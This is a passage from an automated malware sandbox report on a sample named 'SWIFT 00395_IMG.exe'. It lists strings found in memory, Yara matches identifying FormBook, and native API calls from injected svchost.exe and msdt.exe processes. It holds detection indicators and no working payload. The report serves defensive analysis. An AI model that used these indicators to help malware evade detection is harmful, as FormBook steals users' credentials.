2e 63 6f 6d 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 6
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://fontfabrik.com
          Source: SWIFT 00395_IMG.exeString found in binary or memory: http://nsis.sf.net/NSIS_Error
          Source: SWIFT 00395_IMG.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
          Source: explorer.exe, 00000004.00000002.919974024.0000000002B50000.00000002.00000001.sdmpString found in binary or memory: http://www.%s.comPA
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.carterandcone.coml
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fontbureau.com/designersG
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.fonts.com
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/bThe
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.founder.com.cn/cn/cThe
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/DPlease
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.goodfont.co.kr
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.jiyu-kobo.co.jp/
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.sajatypeworks.com
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.sakkal.com
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.sandoll.co.kr
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.tiro.com
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.typography.netD
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.urwpp.deDPlease
          Source: explorer.exe, 00000004.00000000.694149517.000000000B976000.00000002.00000001.sdmpString found in binary or memory: http://www.zhongyicts.com.cn
          Source: msdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmpString found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js
          Source: msdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jQuery.serializeObject/2.0.3/jquery.serializeObject.min.js
          Source: msdt.exe, 00000007.00000002.920833140.0000000005562000.00000004.00000001.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/json3/3.3.2/json3.min.js
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_0040548D GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_0040548D

          E-Banking Fraud:

          barindex
          Yara detected FormBookShow sources
          Source: Yara matchFile source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE

          System Summary:

          barindex
          Malicious sample detected (through community Yara rule)Show sources
          Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000002.919033031.0000000003170000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000002.918989444.0000000003110000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000001.00000002.711497215.0000000000D60000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000001.00000002.711385222.0000000000D30000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000001.00000002.710720815.0000000000400000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.665787832.0000000003040000.00000004.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000007.00000002.917600888.0000000000A60000.00000040.00000001.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0.2.SWIFT 00395_IMG.exe.3040000.4.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Initial sample is a PE file and has a suspicious nameShow sources
          Source: initial sampleStatic PE information: Filename: SWIFT 00395_IMG.exe
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004181B0 NtCreateFile,1_2_004181B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00418260 NtReadFile,1_2_00418260
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004182E0 NtClose,1_2_004182E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00418390 NtAllocateVirtualMemory,1_2_00418390
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041825A NtReadFile,1_2_0041825A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004182DA NtClose,1_2_004182DA
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869A00 NtProtectVirtualMemory,LdrInitializeThunk,1_2_03869A00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869A20 NtResumeThread,LdrInitializeThunk,1_2_03869A20
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869A50 NtCreateFile,LdrInitializeThunk,1_2_03869A50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038699A0 NtCreateSection,LdrInitializeThunk,1_2_038699A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869910 NtAdjustPrivilegesToken,LdrInitializeThunk,1_2_03869910
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038698F0 NtReadVirtualMemory,LdrInitializeThunk,1_2_038698F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869840 NtDelayExecution,LdrInitializeThunk,1_2_03869840
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869860 NtQuerySystemInformation,LdrInitializeThunk,1_2_03869860
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869780 NtMapViewOfSection,LdrInitializeThunk,1_2_03869780
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038697A0 NtUnmapViewOfSection,LdrInitializeThunk,1_2_038697A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869FE0 NtCreateMutant,LdrInitializeThunk,1_2_03869FE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869710 NtQueryInformationToken,LdrInitializeThunk,1_2_03869710
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038696E0 NtFreeVirtualMemory,LdrInitializeThunk,1_2_038696E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869660 NtAllocateVirtualMemory,LdrInitializeThunk,1_2_03869660
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038695D0 NtClose,LdrInitializeThunk,1_2_038695D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869540 NtReadFile,LdrInitializeThunk,1_2_03869540
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A3B0 NtGetContextThread,1_2_0386A3B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869B00 NtSetValueKey,1_2_03869B00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869A80 NtOpenDirectoryObject,1_2_03869A80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869A10 NtQuerySection,1_2_03869A10
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038699D0 NtCreateProcessEx,1_2_038699D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869950 NtQueueApcThread,1_2_03869950
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038698A0 NtWriteVirtualMemory,1_2_038698A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869820 NtEnumerateKey,1_2_03869820
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386B040 NtSuspendThread,1_2_0386B040
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A710 NtOpenProcessToken,1_2_0386A710
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869730 NtQueryVirtualMemory,1_2_03869730
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869760 NtOpenProcess,1_2_03869760
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869770 NtSetInformationFile,1_2_03869770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386A770 NtOpenThread,1_2_0386A770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038696D0 NtCreateKey,1_2_038696D0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869610 NtEnumerateValueKey,1_2_03869610
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869650 NtQueryValueKey,1_2_03869650
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869670 NtQueryInformationProcess,1_2_03869670
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038695F0 NtQueryInformationFile,1_2_038695F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869520 NtWaitForSingleObject,1_2_03869520
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0386AD30 NtSetContextThread,1_2_0386AD30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03869560 NtWriteFile,1_2_03869560
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F195D0 NtClose,LdrInitializeThunk,7_2_04F195D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19540 NtReadFile,LdrInitializeThunk,7_2_04F19540
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F196E0 NtFreeVirtualMemory,LdrInitializeThunk,7_2_04F196E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F196D0 NtCreateKey,LdrInitializeThunk,7_2_04F196D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19660 NtAllocateVirtualMemory,LdrInitializeThunk,7_2_04F19660
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19650 NtQueryValueKey,LdrInitializeThunk,7_2_04F19650
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19FE0 NtCreateMutant,LdrInitializeThunk,7_2_04F19FE0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19780 NtMapViewOfSection,LdrInitializeThunk,7_2_04F19780
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19710 NtQueryInformationToken,LdrInitializeThunk,7_2_04F19710
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19860 NtQuerySystemInformation,LdrInitializeThunk,7_2_04F19860
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19840 NtDelayExecution,LdrInitializeThunk,7_2_04F19840
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F199A0 NtCreateSection,LdrInitializeThunk,7_2_04F199A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19910 NtAdjustPrivilegesToken,LdrInitializeThunk,7_2_04F19910
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19A50 NtCreateFile,LdrInitializeThunk,7_2_04F19A50
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F195F0 NtQueryInformationFile,7_2_04F195F0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19560 NtWriteFile,7_2_04F19560
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F1AD30 NtSetContextThread,7_2_04F1AD30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19520 NtWaitForSingleObject,7_2_04F19520
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19670 NtQueryInformationProcess,7_2_04F19670
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19610 NtEnumerateValueKey,7_2_04F19610
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F197A0 NtUnmapViewOfSection,7_2_04F197A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F1A770 NtOpenThread,7_2_04F1A770
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19770 NtSetInformationFile,7_2_04F19770
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19760 NtOpenProcess,7_2_04F19760
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19730 NtQueryVirtualMemory,7_2_04F19730
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F1A710 NtOpenProcessToken,7_2_04F1A710
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F198F0 NtReadVirtualMemory,7_2_04F198F0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F198A0 NtWriteVirtualMemory,7_2_04F198A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F1B040 NtSuspendThread,7_2_04F1B040
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19820 NtEnumerateKey,7_2_04F19820
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F199D0 NtCreateProcessEx,7_2_04F199D0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19950 NtQueueApcThread,7_2_04F19950
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19A80 NtOpenDirectoryObject,7_2_04F19A80
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19A20 NtResumeThread,7_2_04F19A20
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19A10 NtQuerySection,7_2_04F19A10
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19A00 NtProtectVirtualMemory,7_2_04F19A00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F1A3B0 NtGetContextThread,7_2_04F1A3B0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F19B00 NtSetValueKey,7_2_04F19B00
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A781B0 NtCreateFile,7_2_00A781B0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A782E0 NtClose,7_2_00A782E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A78260 NtReadFile,7_2_00A78260
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A78390 NtAllocateVirtualMemory,7_2_00A78390
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A782DA NtClose,7_2_00A782DA
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7825A NtReadFile,7_2_00A7825A
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_00403461 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403461
          Source: C:\Users\user\Desktop\SWIFT 00395_IMG.exeCode function: 0_2_004069250_2_00406925
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_004010301_2_00401030
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041CB2B1_2_0041CB2B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00408C4B1_2_00408C4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00408C501_2_00408C50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041BC1D1_2_0041BC1D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041B4931_2_0041B493
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041B4961_2_0041B496
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041BD071_2_0041BD07
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041C5291_2_0041C529
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402D901_2_00402D90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041BE6A1_2_0041BE6A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0041C70E1_2_0041C70E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_00402FB01_2_00402FB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0385EBB01_2_0385EBB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038EDBD21_2_038EDBD2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F2B281_2_038F2B28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F22AE1_2_038F22AE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0382F9001_2_0382F900
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038441201_2_03844120
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383B0901_2_0383B090
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038520A01_2_038520A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F20A81_2_038F20A8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F28EC1_2_038F28EC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038E10021_2_038E1002
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F1FF11_2_038F1FF1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F2EF71_2_038F2EF7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03846E301_2_03846E30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038525811_2_03852581
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F25DD1_2_038F25DD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383D5E01_2_0383D5E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F2D071_2_038F2D07
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_03820D201_2_03820D20
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038F1D551_2_038F1D55
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_0383841F1_2_0383841F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 1_2_038ED4661_2_038ED466
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9D4667_2_04F9D466
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EE841F7_2_04EE841F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EED5E07_2_04EED5E0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA25DD7_2_04FA25DD
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F025817_2_04F02581
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA1D557_2_04FA1D55
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04ED0D207_2_04ED0D20
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA2D077_2_04FA2D07
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA2EF77_2_04FA2EF7
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF6E307_2_04EF6E30
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9D6167_2_04F9D616
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA1FF17_2_04FA1FF1
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FADFCE7_2_04FADFCE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA28EC7_2_04FA28EC
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F020A07_2_04F020A0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA20A87_2_04FA20A8
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EEB0907_2_04EEB090
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FAE8247_2_04FAE824
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F910027_2_04F91002
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EF41207_2_04EF4120
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04EDF9007_2_04EDF900
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA22AE7_2_04FA22AE
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F903DA7_2_04F903DA
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F9DBD27_2_04F9DBD2
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04F0EBB07_2_04F0EBB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_04FA2B287_2_04FA2B28
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7CB2B7_2_00A7CB2B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7B4967_2_00A7B496
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7B4937_2_00A7B493
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A68C4B7_2_00A68C4B
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A68C507_2_00A68C50
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A62D907_2_00A62D90
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7C5297_2_00A7C529
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7BE5F7_2_00A7BE5F
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A62FB07_2_00A62FB0
          Source: C:\Windows\SysWOW64\msdt.exeCode function: 7_2_00A7C70E7_2_00A7C70E
          Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 0382B150 appears 35 times
          Source: C:\Windows\SysWOW64\msdt.exeCode function: String function: 04EDB150 appears 35 times
          Source: SWIFT 00395_IMG.exe, 00000000.00000003.657921877.000000000331F000.00000004.00000001.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs SWIFT 00395_IMG.exe
          Source: SWIFT 00395_IMG.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
